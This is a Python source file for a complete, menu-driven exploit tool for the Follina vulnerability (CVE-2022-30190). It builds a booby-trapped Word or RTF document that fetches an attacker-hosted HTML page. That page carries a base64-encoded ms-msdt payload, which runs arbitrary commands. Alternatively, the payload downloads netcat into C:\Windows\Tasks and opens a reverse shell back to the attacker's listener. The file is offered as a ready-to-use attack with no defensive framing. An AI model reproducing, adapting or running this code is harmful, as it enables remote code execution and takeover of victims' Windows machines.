follinaExploiter.py

#!/usr/bin/python3

'''Exploit Microsoft Zero-Day Vulnerability Follina (CVE-2022-30190)'''

#import required modules
import socketserver
import http.server
import threading
import pyfiglet
import random
import shutil
import base64
import string
import socket
import time
import sys
import os
import re

#return the current path with '/'
def get_current_path():
    CurrentPath = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__)))
    spriteFolderPath = os.path.join(CurrentPath)
    path = os.path.join(spriteFolderPath)
    newPath = path.replace(os.sep, '/')
    return newPath

#regex for ip validation check
regex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$"

#check the provided ip and return true/false
def check(Ip):
    if(re.search(regex, Ip)):
        return True
    else:
        return False

#remove 'working directory' if it exists
def clear_working_dir():
    try:
        shutil.rmtree(get_current_path()+"/working_dir")
    except:
        pass

#show loading and welcome animation
def welcome_ani():
    load_str = "intitling modules and repositories..."
    ls_len = len(load_str)
    animation = "|/-\\"
    anicount = 0
    counttime = 0        
    i = 0                     
    while (counttime != 100):
        time.sleep(0.075) 
        load_str_list = list(load_str) 
        x = ord(load_str_list[i])
        y = 0                             
        if x != 32 and x != 46:             
            if x>90:
                y = x-32
            else:
                y = x + 32
            load_str_list[i]= chr(y)
        res =''             
        for j in range(ls_len):
            res = res + load_str_list[j]
        sys.stdout.write("\r"+res + animation[anicount])
        sys.stdout.flush()
        load_str = res
        anicount = (anicount + 1)% 4
        i =(i + 1)% ls_len
        counttime = counttime + 1
    if os.name =="nt":
        os.system("cls")
    # for linux / Mac OS
    else:
        os.system("clear")

#main function
def main_screen():
    clear_working_dir()
    ascii_banner = pyfiglet.figlet_format("Follina Exploiter")
    print(ascii_banner)
    print('**************************** CVE-2022-30190 ****************************')
    print('    ******************* Devolpoed By Hrishikesh ********************    ')
    
    #Collect users choices 
    print('\n[1] Malicious Command Execution.\n[2] Taking Reverse Shell with NetCat.\n[0] Exit')
    while True:
        x = input('\nEnter your choice: ')
        try:
            x = int(x)
            if x ==1 or x == 2:
                break
            elif x ==0:
                clear_working_dir()
                if os.name =="nt":
                    os.system("cls")
                # for linux / Mac OS
                else:
                    os.system("clear")
                print('\nGood Bye..')
                return
            else:
                print('Error Wrong Input')
        except ValueError:
            print('Error Wrong Input')
            continue
    
    print('\nEnter output filename : ')
    while True:
        y = input('\nFilename: ')
        if len(y) in range(0, 2) :
            print('Error Wrong Input')
            continue
        else:
            break

    print('\nEnter output file save location (Default Current Directory) : ')
    while True:
        z = input('Enter your path: ')
        if len(z)==0: #default
            z = get_current_path()+"/"
            break
        else:
            if (os.path.isdir(z)) == True:
                last_char_check = z[-1]
                if last_char_check != "/" or last_char_check != "\\": 
                    z=z+"/"
                break
            else:
                print('Error Wrong Input or Invalid Path')

    print('\nAvailable Extensions\n[1].doc\n[2].docx\n[3].rtf')
    while True:
        e = input('\nEnter your choice: ')
        try:
            e = int(e)
            if e ==1 or e == 2 or e ==3:
                if e == 1:
                    e = ".doc"
                if e == 2:
                    e = ".docx"
                if e == 3:
                    e = ".rtf"
                break
            else:
                print('Error Wrong Input')
        except ValueError:
            print('Error Wrong Input')
            continue

    print('\nEnter system IP: ')
    while True:
        system_IP = input('\nEnter IP: ')
        if len(system_IP) == 0:
            print('Error No Input')
            continue
        else:
            if check(system_IP) == True:
                break
            else:
                print('Error Invalid IP')


    print('\nEnter WebServer PORT (Default 9999)')
    while True:
        wsp = input('\nEnter your choice: ')
        if len(wsp) == 0:
            wsp = 9999
            break
        else:
            try:
                wsp = int(wsp)
                if wsp in range (1, 65536):
                    break
                else:
                    print('Error Wrong Input')
                    continue
            except ValueError:
                print('Error Wrong Input')
                continue


    if x == 1:
        print('\nEnter command you want to execute')
        while True:
            mis_com = input('\nEnter Command: ')
            if len(mis_com) != 0:
                break
            else:
                print('Error No Input')

    if x == 2:
        print('\nEnter NetCat PORT (Default 9001)')
        while True:
            ncp = input('\nEnter your choice: ')
            if len(ncp) == 0:
                ncp = 9001
                break
            else:
                try:
                    ncp = int(ncp)
                    if ncp == wsp:
                        print('Port already used as WebServer Port')
                        continue
                    elif ncp in range (1, 65536):
                        break
                    else:
                        print('Error Wrong Input')
                        continue
                except ValueError:
                    print('Error Wrong Input')
                    continue

    mal_filePath = z
    mal_fileName = y
    mal_fileExt = e
    combo=mal_filePath+mal_fileName+mal_fileExt
    combo = combo.replace(os.sep, '/')
    webserver_PORT_NO = wsp

    if os.path.exists(combo) == True:
        print("an old file with same name "+str(mal_fileName+mal_fileExt) + " already exits it will be over written")
        while True:
            choice = input('\nConform the action [y/n]: ')
            try:
                choice = choice.lower()
                if choice == 'y' or 'yes':
                    os.remove(combo)
                    break
                elif choice == 'n' or 'no':
                    clear_working_dir()
                    if os.name =="nt":
                        os.system("cls")
                    # for linux / Mac OS
                    else:
                        os.system("clear")
                    print('\nGood Bye..')
                    return
                else:
                    print('Error Wrong Input')
                    continue
            except:
                print('Error Wrong Input')
                continue

    if x == 2:
        netcat_PORT_NO = ncp
        mis_com = 'calc'
    else:
        netcat_PORT_NO = 0

    serve_host = system_IP

    payload_file_location = 'Assets/payload'
    staging_dir = get_current_path()+"/working_dir"
    if (os.path.isdir(staging_dir)) == False:
        os.makedirs(staging_dir)

    doc_path = os.path.join(staging_dir, payload_file_location)
    doc_path = doc_path.replace(os.sep, '/')

    shutil.copytree(get_current_path()+"/"+payload_file_location, os.path.join(staging_dir, doc_path))

    # Prepare a temporary HTTP server location
    serve_path = os.path.join(staging_dir, "www")

    #if HTTP server location is missing it will create a new one
    if (os.path.isdir(serve_path)) == False:
        os.makedirs(serve_path)

    # Modify the Word skeleton to include our HTTP server
    document_rels_path = os.path.join(
        staging_dir, payload_file_location, "word", "_rels", "document.xml.rels"
    )

    with open(document_rels_path) as filp:
        external_referral = filp.read()

    external_referral = external_referral.replace(
        "{staged_html}", f"http://{serve_host}:{webserver_PORT_NO}/index.html"
    )

    with open(document_rels_path, "w") as filp:
        filp.write(external_referral)

    if os.path.exists(str(combo+"zip")) == True:
        os.remove(str(combo+"zip"))
    
    shutil.make_archive(combo, "zip", doc_path)
    os.rename(combo + ".zip", combo)

    print(f"[+] Exploit saved at -> {combo}")

    # get NetCat binary from github repo
    command = mis_com
    if netcat_PORT_NO:
        command = f"""Invoke-WebRequest https://github.com/Hrishikesh7665/Follina_Exploiter_CLI/blob/BranchForPullNetCat/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {netcat_PORT_NO}"""

    base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8")

    html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
    html_payload += (
        "".join([random.choice(string.ascii_lowercase) for _ in range(4096)])
        + "\n</script>"
    )

    with open(os.path.join(serve_path, "index.html"), "w") as filp:
        filp.write(html_payload)

    class ReuseTCPServer(socketserver.TCPServer):
        def server_bind(self):
            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.socket.bind(self.server_address)

    class Handler(http.server.SimpleHTTPRequestHandler):
        def __init__(self, *args, **kwargs):
            super().__init__(*args, directory=serve_path, **kwargs)

        def log_message(self, format, *func_args):
            if netcat_PORT_NO:
                return
            else:
                super().log_message(format, *func_args)

        def log_request(self, format, *func_args):
            if netcat_PORT_NO:
                return
            else:
                super().log_request(format, *func_args)

    def serve_http():
        with ReuseTCPServer(("", webserver_PORT_NO), Handler) as httpd:
            httpd.serve_forever()

    # Host the HTTP server on all interfaces
    print(f"[+] serving html payload on {serve_host}:{webserver_PORT_NO}")
    if netcat_PORT_NO:
        t = threading.Thread(target=serve_http, args=())
        t.start()
        print(f"[+] starting 'nc -lvnp {netcat_PORT_NO}' ")
        os.system(f"nc -lnvp {netcat_PORT_NO}")
    else:
        serve_http()

#Driver code
if __name__ == "__main__":
    welcome_ani()
    main_screen()